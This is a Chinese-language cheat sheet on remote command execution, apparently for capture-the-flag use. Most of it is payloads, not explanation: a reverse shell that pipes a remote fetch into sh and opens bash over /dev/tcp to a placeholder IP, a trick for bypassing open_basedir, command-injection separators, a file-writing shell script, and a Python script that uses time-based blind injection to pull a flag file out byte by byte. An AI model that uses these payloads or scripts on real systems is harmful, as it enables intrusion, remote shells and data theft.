RCE

远程命令执行/远程代码执行 (Remote Command/Code Execute, RCE)

  • 常用命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #查看文件命令
    cat/tac/more/less/head/tail/nl
    grep test flag.php
    uniq flag.php
    php /flag #文件内容会被当成php代码执行,相当于include
    php -t / -r "include('/flag');" #指定根目录,绕过open_basedir
    sh /flag 2>&1 #sh+文件,并输出错误信息(蚁剑是这个原理)

    #打包文件
    tar cvf xxx.tar . #将当前目录打包压缩为xxx.tar

    #写入文件
    ls > xxx
    ls | tee xxx
    script -a xxx; ls; exit; #依次执行
    echo -e "%23!/bin/sh\nwhile read line\ndo\necho \$line\ndone < /flag" > ../../../read #写shell

    #反弹shell
    curl [IP] | sh #VPS payload: bash -c "bash -i >& /dev/tcp/[IP]/7777 0>&1"

  • 命令分隔符

    1
    2
    3
    4
    5
    ping x.x.x.x;ls  #连续指令
    ping x.x.x.x|ls #管道符(显示第二个命令结果)
    ping x.x.x.x&ls #后台进程
    ping x.x.x.x||ls #逻辑运算(第一个命令执行返回值正常,第二个命令才执行)
    ping x.x.x.x&&ls #逻辑运算(如果第一个命令执行返回值正常,第二个命令就不执行了)

  • 绕过(bypass)

  • RCE盲注(无回显)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import requests
    import string
    import time

    url='http://localhost.test.php/?c='
    dic=string.printable[:-6]
    flag=''

    for i in range(1,50):
    judge=0
    for j in dic:
    now=url+'if [ `cat /flag | cut -b '+str(i)+'` = "'+j+'" ];then sleep 2; fi'
    start=time.time()
    r=requests.get(now)
    end=time.time()
    if int(end)-int(start) >1:
    judge=1
    flag+=j
    print(flag)
    break
    if judge==0:
    break

    print(flag)

    其他命令:

    1
    2
    3
    4
    5
    if fgrep -c "a" "flag.txt"; then echo "T"; else "F"; fi
    if ls | fgrep -c "a"; then echo "T"; else "F"; fi

    [ $(head -c 2 flag.txt | tail -c 1) = 'a' ]
    [ $(ls | head -c 2 | tail -c 1) = 'a' ]